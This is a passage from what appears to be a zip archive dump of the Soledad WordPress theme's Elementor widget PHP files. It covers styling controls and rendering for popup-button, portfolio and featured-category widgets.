			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}}  span.pcbtn-content i'   => 'font-size: {{SIZE}}px;',
				'{{WRAPPER}}  span.pcbtn-content svg' => 'width: {{SIZE}}px;',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subtext_heading', array(
			'label'     => __( 'Subtext', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'subtext_typo',
			'label'     => __( 'SubText Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Text_Shadow::get_type(), array(
			'name'      => 'button_subtshadow',
			'label'     => __( 'Text Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} span.pcbtn-subtext',
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->start_controls_tabs( 'style_tabs' );

		$this->start_controls_tab( 'style_normal_tab', array(
			'label' => __( 'Normal', 'soledad' ),
		) );

		$this->add_control( 'btcolor', array(
			'label'     => __( 'Button Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} span.pcbtn-content' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'iconcolor', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pcbtn-content i'   => 'color: {{VALUE}};',
				'{{WRAPPER}} span.pcbtn-content svg' => 'fill: {{VALUE}};',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subcolor', array(
			'label'     => __( 'Subtext Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} span.pcbtn-subtext' => 'color: {{VALUE}};' ),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'btbg',
			'label'       => __( 'Button Background', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'border_cl', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'add_borders' => 'yes' ),
			'separator' => 'before'
		) );

		$this->add_control( 'sborder_cl', array(
			'label'     => __( 'Second Borders Color( Gradient Borders )', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin' => 'border-image: linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_cl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
			'condition' => array( 'add_borders' => 'yes', 'border_style' => 'gradient' ),
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'box_shadow',
			'label'     => __( 'Box Shadow', 'soledad' ),
			'selector'  => '{{WRAPPER}} a.pcbtn',
			'separator' => 'before'
		) );

		$this->end_controls_tab();

		$this->start_controls_tab( 'style_hover_tab', array(
			'label' => __( 'Hover', 'soledad' ),
		) );

		$this->add_control( 'bthcolor', array(
			'label'     => __( 'Button Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-content' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'iconhcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content i'   => 'color: {{VALUE}};',
				'{{WRAPPER}} a.pcbtn:hover span.pcbtn-content svg' => 'fill: {{VALUE}};',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'subhcolor', array(
			'label'     => __( 'Subtext Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} a.pcbtn:hover span.pcbtn-subtext' => 'color: {{VALUE}};' ),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'        => 'bthbg',
			'label'       => __( 'Button Hover Background', 'soledad' ),
			'types'       => array( 'classic', 'gradient' ),
			'selector'    => '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before',
			'label_block' => true,
			'separator'   => 'before'
		) );

		$this->add_control( 'border_hcl', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-color: {{VALUE}};' ),
			'condition' => array( 'add_borders' => 'yes' ),
			'separator' => 'before'
		) );

		$this->add_control( 'sborder_hcl', array(
			'label'     => __( 'Second Borders Hover Color( Gradient Borders )', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-image: linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image: -webkit-linear-gradient( 360deg , {{border_hcl.VALUE}}, {{VALUE}} ); border-image-slice: 1;' ),
			'condition' => array( 'add_borders' => 'yes', 'border_style' => 'gradient' ),
		) );

		$this->add_control( 'hover_animation', array(
			'label' => esc_html__( 'Hover Animation', 'soledad' ),
			'type'  => Controls_Manager::HOVER_ANIMATION,
		) );

		$this->add_group_control( Group_Control_Box_Shadow::get_type(), array(
			'name'      => 'hbox_shadow',
			'label'     => __( 'Box Shadow on Hover', 'soledad' ),
			'selector'  => '{{WRAPPER}} a.pcbtn:hover',
			'separator' => 'before'
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_popup', array(
			'label' => __( 'Popup Design', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'btn_popup_de', array(
			'label'      => __( 'Popup Content Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px', '%' ],
			'selectors'  => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			]
		) );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'     => 'btn_popup_bg',
			'label'    => __( 'Background Settings', 'soledad' ),
			'types'    => [ 'classic', 'gradient', 'video' ],
			'selector' => '#penci-btn-popup-{{ID}}.button-popup-content'
		) );

		$this->add_control( 'btn_popup_cl', array(
			'label'     => __( 'Content Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'color:{{VALUE}}'
			]
		) );

		$this->add_control( 'btn_popup_close_cl', array(
			'label'     => __( 'Close Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content .mfp-close' => 'color:{{VALUE}}'
			]
		) );

		$this->add_responsive_control( 'btn_popup_close_close_size', array(
			'label'     => __( 'Close Button Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 10, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content .mfp-close' => 'font-size:{{SIZE}}px'
			]
		) );

		$this->add_control( 'overlay_popup_bg', array(
			'label'     => __( 'Overlay Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => [
				'.mfp-bg.penci-pps-{{ID}}' => 'background-color:{{VALUE}}'
			]
		) );

		$this->add_control( 'overlay_opacity', array(
			'label'      => __( 'Overlay Background Opacity', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'step' => 0.01,
					'max'  => 1,
				],
			],
			'selectors'  => [
				'.mfp-ani-wrap.mfp-ready.mfp-bg.penci-pps-{{ID}}' => 'opacity:{{SIZE}}'
			]
		) );

		$this->end_controls_section();

	}

	protected function render() {
		$settings       = $this->get_settings_for_display();
		$text           = $settings['text'] ? $settings['text'] : '';
		$link           = '';
		$button_id_attr = '';
		$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
		if ( $button_id ) {
			$button_id      = str_replace( ' ', '', $button_id );
			$button_id_attr = ' id="' . $button_id . '"';
		}
		$add_icon     = $settings['add_icon'] ? $settings['add_icon'] : '';
		$add_borders  = $settings['add_borders'] ? $settings['add_borders'] : '';
		$border_style = $settings['border_style'] ? $settings['border_style'] : 'solid';
		$icon_pos     = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
		$align        = $settings['align'] ? $settings['align'] : 'none';
		$align_class  = 'pcbtn-align-' . $align;
		if ( isset( $settings['align_tablet'] ) && $settings['align_tablet'] ) {
			$align_class .= ' pcbtn-talign-' . $settings['align_tablet'];
		}
		if ( isset( $settings['align_mobile'] ) && $settings['align_mobile'] ) {
			$align_class .= ' pcbtn-malign-' . $settings['align_mobile'];
		}
		$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
		$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
		$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
		$icon_html      = '';
		$button_classes = 'pc-popup-btn pcbtn pcbtn-icon-' . $icon_pos;
		if ( $add_borders ) {
			$button_classes .= ' pcbtn-bordered pcbtn-bstyle-' . $border_style;
		}
		if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
			ob_start();
			\Elementor\Icons_Manager::render_icon( $button_icon );
			$icon_html = ob_get_clean();
		}
		if ( $settings['hover_animation'] ) {
			$button_classes .= ' elementor-animation-' . $settings['hover_animation'];
		}
		$id             = 'penci-btn-popup-' . $this->get_id();
		$id_style       = 'penci-pps-' . $this->get_id();
		$anistyle       = isset( $settings['popup_anityle'] ) && $settings['popup_anityle'] ? $settings['popup_anityle'] : 'move-to-top';
		$popup_position = isset( $settings['popup_position'] ) && $settings['popup_position'] ? $settings['popup_position'] : 'middle-center';
		$popup_cstyle   = isset( $settings['popup_cstyle'] ) && $settings['popup_cstyle'] ? $settings['popup_cstyle'] : 'text';
		?>
        <div class="pcbtn-wrapper penci-button-popup <?php echo $align_class; ?>">
            <a data-popup="<?php echo $id; ?>"
               data-position="<?php echo esc_attr( $popup_position . ' ' . $id_style ); ?>"
               class="<?php echo $button_classes; ?>"
               href="#<?php echo $id; ?>"<?php
			echo $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
					<span class="pcbtn-content"><?php if ( 'left' == $icon_pos ): echo $icon_html; endif; ?><?php echo do_shortcode( $text ); ?><?php if ( 'right' == $icon_pos ): echo $icon_html; endif; ?></span>
					<?php if ( 'yes' == $add_subtext && $subtext ) { ?>
                        <span class="pcbtn-subtext"><?php echo do_shortcode( $subtext ); ?></span>
					<?php } ?>
				</span>
            </a>
        </div>
        <div id="<?php echo $id; ?>"
             class="<?php echo esc_attr( $anistyle ); ?> <?php echo esc_attr( $popup_position . ' ' . $id_style ); ?> mfp-with-anim button-popup-content">
			<?php if ( 'text' == $popup_cstyle ) {
				echo do_shortcode( $settings['popup_content'] );
			} else if ( 'block' == $popup_cstyle && $settings['popup_block'] ) {
				$popup_render_content = '';
				$popup_block_id       = get_page_by_path( $settings['popup_block'], OBJECT, 'penci-block' )->ID;
				if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
					$popup_render_content .= penci_get_elementor_content( $popup_block_id );
				} else {
					$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

					$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

					$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$popup_render_content .= $shortcodes_custom_css;
					}
					$popup_render_content .= '</style>';
				}
				echo $popup_render_content;
			} ?>
        </div>
		<?php
	}
}
PK     1w\ɬ|n  n  ,  elementor/modules/penci-portfolio/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPortfolio;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-portfolio';
	}

	public function get_widgets() {
		return array( 'PenciPortfolio' );
	}

	public static function is_active() {
		return class_exists( 'Penci_Portfolio' );
	}
}
PK     1w\qj&  &  =  elementor/modules/penci-portfolio/widgets/penci-portfolio.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciPortfolio\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPortfolio extends Base_Widget {

	public function get_name() {
		return 'penci-portfolio';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Portfolio', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'portfolio' );
	}

	protected function register_controls() {
		

		$this->register_query_section_controls();

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'Portfolio', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'penci_ajax', array(
				'label'     => __( 'Filter with AJAX?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Enable', 'soledad' ),
				'label_off' => __( 'Disable', 'soledad' ),
			)
		);
		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Choose Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'masonry',
				'options' => array(
					'masonry' => esc_html__( 'Masonry', 'soledad' ),
					'grid'    => esc_html__( 'Grid', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_item_style', array(
				'label'   => __( 'Choose Item Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'text_overlay',
				'options' => array(
					'text_overlay' => esc_html__( 'Text Overlay', 'soledad' ),
					'below_img'    => esc_html__( 'Text Below Image', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_column', array(
				'label'   => __( 'Number Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '3',
				'options' => array(
					'3' => esc_html__( '3 Columns', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_image_type', array(
				'label'       => __( 'Image Type', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => 'landscape',
				'options'     => array(
					'square'    => esc_html__( 'Square', 'soledad' ),
					'vertical'  => esc_html__( 'Vertical', 'soledad' ),
					'landscape' => esc_html__( 'Landscape', 'soledad' ),
				),
				'description' => esc_html__( 'This option does not apply for "Masonry" Style', 'soledad' ),
			)
		);

		$this->add_control(
			'penci_filter', array(
				'label'     => __( 'Display Filter?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => 'yes',
			)
		);
		$this->add_control(
			'penci_all_text', array(
				'label' => __( 'All Portfolio Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'penci_pagination', array(
				'label'   => __( 'Pagination', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'number',
				'options' => array(
					'number'        => esc_html__( 'Numeric Pagination', 'soledad' ),
					'load_more'     => esc_html__( 'Load More Button', 'soledad' ),
					'infinite'      => esc_html__( 'Infinite Load', 'soledad' ),
					'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
					'none'          => esc_html__( 'None', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_numbermore', array(
				'label'     => __( 'Number of Posts Each Time Load More Posts', 'elementor' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 6,
				'condition' => array( 'penci_pagination' => array( 'load_more', 'infinite' ) )
			)
		);
		$this->add_control(
			'penci_lightbox', array(
				'label'     => __( 'Enable Click on Thumbnails to Open Lightbox?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => '',
			)
		);
		$this->end_controls_section();
		$this->start_controls_section(
			'section_style_portfolio',
			array(
				'label' => __( 'Portfolio', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'penci_filter_heading',
			array(
				'label' => __( 'Filter', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'pfilter_color',
			array(
				'label'     => __( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li a,{{WRAPPER}} .penci-portfolio-filter ul li a' => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_control(
			'pfilter_hcolor',
			array(
				'label'     => __( 'Link Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li a:hover'  => 'color: {{VALUE}};',
					'{{WRAPPER}} post-entry .penci-portfolio-filter ul li.active a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-portfolio-filter ul li a:hover'             => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-portfolio-filter ul li.active a'            => 'color: {{VALUE}};'
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pfilter_typo',
				'selector' => '{{WRAPPER}} post-entry .penci-portfolio-filter ul li a,{{WRAPPER}} .penci-portfolio-filter ul li a',
			)
		);

		$this->add_control(
			'pbgoverlay_color',
			array(
				'label'     => __( 'Portfolio Background Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-portfolio-thumbnail a:after' => 'background-color: {{VALUE}};' ),
			)
		);
		// Title
		$this->add_control(
			'ptitle_heading',
			array(
				'label' => __( 'Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} .inner-item-portfolio .portfolio-desc h3',
			)
		);

		// Cat
		$this->add_control(
			'pcat_heading',
			array(
				'label' => __( 'Category', 'soledad' ),
				'type'  => Controls_Manager::HEADING,
			)
		);
		$this->add_control(
			'pcat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'pcat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pcat_typo',
				'selector' => '{{WRAPPER}} .inner-item-portfolio .portfolio-desc span',
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$atts = array(
			'style',
			'image_type',
			'item_style',
			'number',
			'column',
			'cat',
			'all_text',
			'pagination',
			'numbermore',
			'loop',
			'elementor_query'
		);

		$atts_shortcode = array();

		foreach ( $atts as $att ) {
			if ( empty( $settings[ 'penci_' . $att ] ) ) {
				continue;
			}

			$atts_shortcode[ $att ] = $settings[ 'penci_' . $att ];
		}

		if ( 'yes' == $settings['penci_filter'] ) {
			$atts_shortcode['filter'] = 'true';
		} else {
			$atts_shortcode['filter'] = 'false';
		}

		if ( 'yes' == $settings['penci_lightbox'] ) {
			$atts_shortcode['lightbox'] = 'true';
		} else {
			$atts_shortcode['lightbox'] = 'false';
		}

		if ( 'yes' == $settings['penci_ajax'] ) {
			$atts_shortcode['penci_ajax'] = 'true';
		}

		$query_args = Module::get_query_args( 'posts', $settings );
		$post_type  = $settings['posts_post_type'];

		$tax_query = array();
		if ( 'by_id' != $post_type ) {
			if ( 'post' == $post_type ) {
				$tax_query = isset( $settings['posts_category_ids'] ) ? $settings['posts_category_ids'] : array();
			} elseif ( 'portfolio' == $post_type ) {
				$tax_query = isset( $settings['posts_portfolio-category_ids'] ) ? $settings['posts_portfolio-category_ids'] : array();
			} elseif ( 'product' == $post_type ) {
				$tax_query = isset( $settings['posts_product_cat_ids'] ) ? $settings['posts_product_cat_ids'] : array();
			} elseif ( $post_type ) {
				$taxonomy_objects = get_object_taxonomies( $post_type );

				if ( isset( $taxonomy_objects[0] ) ) {
					$tax_first = $taxonomy_objects[0];

					$setting_key = 'posts_' . $tax_first . '_ids';
					$tax_query   = isset( $settings[ $setting_key ] ) ? $settings[ $setting_key ] : array();
				}
			}
		}

		if ( $tax_query ) {
			$query_args['filter_bar_ids'] = implode( ',', $tax_query );
		}

		$atts_shortcode['elementor_query'] = $query_args;

		if ( class_exists( 'Penci_Soledad_Portfolio_Shortcode' ) ) {
			$portfolio = new \Penci_Soledad_Portfolio_Shortcode;
			echo $portfolio->portfolio_shortcode( $atts_shortcode );
		}
	}
}
PK     1w\    /  elementor/modules/penci-featured-cat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedCat;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-cat';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedCat' );
	}
}
PK     1w\|ŷ  ŷ  C  elementor/modules/penci-featured-cat/widgets/penci-featured-cat.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedCat\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedCat extends Base_Widget {

	public function get_name() {
		return 'penci-featured-cat';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Cat', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_fcat' ];
	}

	protected function register_controls() {


		$this->register_query_section_controls( true );
		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'penci_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => 'Style 1 - 1st Post Grid Featured on Left',
				'style-2'  => 'Style 2 - 1st Post Grid Featured on Top',
				'style-3'  => 'Style 3 - Text Overlay',
				'style-4'  => 'Style 4 - Single Slider',
				'style-5'  => 'Style 5 - Slider 2 Columns',
				'style-6'  => 'Style 6 - 1st Post List Featured on Top',
				'style-7'  => 'Style 7 - Grid 2 Columns',
				'style-8'  => 'Style 8 - List Layout',
				'style-9'  => 'Style 9 - Small List Layout',
				'style-10' => 'Style 10 - 2 First Posts Featured and List',
				'style-11' => 'Style 11 - Text Overlay Center',
				'style-12' => 'Style 12 - Slider 3 Columns',
				'style-13' => 'Style 13 - Grid 3 Columns',
				'style-14' => 'Style 14 - 1st Post Overlay Featured on Top',
				'style-15' => 'Style 15 - Overlay Left then List on Right',
			)
		) );
		$this->add_control( 'thumb15', array(
			'label'     => __( 'Show Thumbnail on Small Posts', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'penci_style' => array( 'style-15' ) ),
		) );

		$this->add_responsive_control( 'spacing_item', array(
			'label'       => __( 'Rows Gap Between Post Items', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => array( 'size' => '' ),
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-post-box:not(:last-child)'                                                                                                                                                                                                      => 'padding-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content:not(.style-6) .mag-photo'                                                                                                                                                                                                                          => 'margin-bottom: {{SIZE}}{{UNIT}};margin-bottom: {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content.style-6 .cat-left,{{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid > li,{{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13 > li,{{WRAPPER}} .home-featured-cat-content.style-6 .cat-right .mag-post-box' => 'margin-bottom : {{SIZE}}{{UNIT}}',
				'{{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid,{{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13'                                                                                                                                            => 'row-gap : {{SIZE}}{{UNIT}}',
			),
			'label_block' => true,
			'condition'   => [
				'penci_style!' => [
					'style-3',
					'style-4',
					'style-5',
					'style-8',
					'style-11',
					'style-12'
				]
			],
		) );

		$this->add_responsive_control( 'horizontal_spacing', array(
			'label'          => __( 'Horizontal Spacing Between Post Items', 'soledad' ),
			'type'           => Controls_Manager::SLIDER,
			'default'        => array( 'size' => '' ),
			'mobile_default' => [
				'size' => 0
			],
			'devices'        => [ 'desktop', 'tablet' ],
			'range'          => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'      => array(
				'(tablet+) body:not(.rtl) {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-left'                                                                             => 'padding-right: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body:not(.rtl) {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-right'                                                                            => 'padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body.rtl {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-left'                                                                                   => 'padding-left: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+) body.rtl {{WRAPPER}} .home-featured-cat-content:not(.style-6) .cat-right'                                                                                  => 'padding-right: calc({{SIZE}}{{UNIT}} / 2)',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-3'                                                                                                             => 'width:calc(100% + {{SIZE}}{{UNIT}});margin-left: -{{SIZE}}{{UNIT}};margin-right: -{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-5 .owl-prev, {{WRAPPER}} .home-featured-cat-content.style-12 .owl-prev'                                        => 'left: calc({{SIZE}}{{UNIT}} / 2 + 20px);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-5 .owl-next, {{WRAPPER}} .home-featured-cat-content.style-12 .owl-next'                                        => 'right: calc({{SIZE}}{{UNIT}} / 2 + 20px);',
				'(tablet+){{WRAPPER}} .penci-magcat-carousel-wrapper'                                                                                                                 => 'margin-left: calc({{SIZE}}{{UNIT}} * -1 / 2);margin-right: calc({{SIZE}}{{UNIT}} * -1 / 2);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content .mag-photo,{{WRAPPER}} .penci-magcat-carousel .magcat-carousel'                                                      => 'padding-left: calc({{SIZE}}{{UNIT}} / 2);padding-right: calc({{SIZE}}{{UNIT}} / 2);',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-9 .mag-post-box,{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box'                                 => 'width:calc(50% - calc({{SIZE}}{{UNIT}}/2) );margin-right:{{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+2),{{WRAPPER}} .home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+2)' => 'margin-right:0',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-13 .penci-grid.penci-fea-cat-style-13'                                                                         => '--pcrgap: {{SIZE}}{{UNIT}}',
				'(tablet+){{WRAPPER}} .home-featured-cat-content.style-7 .penci-grid.penci-fea-cat-style-7'                                                                           => '--pcrgap: {{SIZE}}{{UNIT}}',
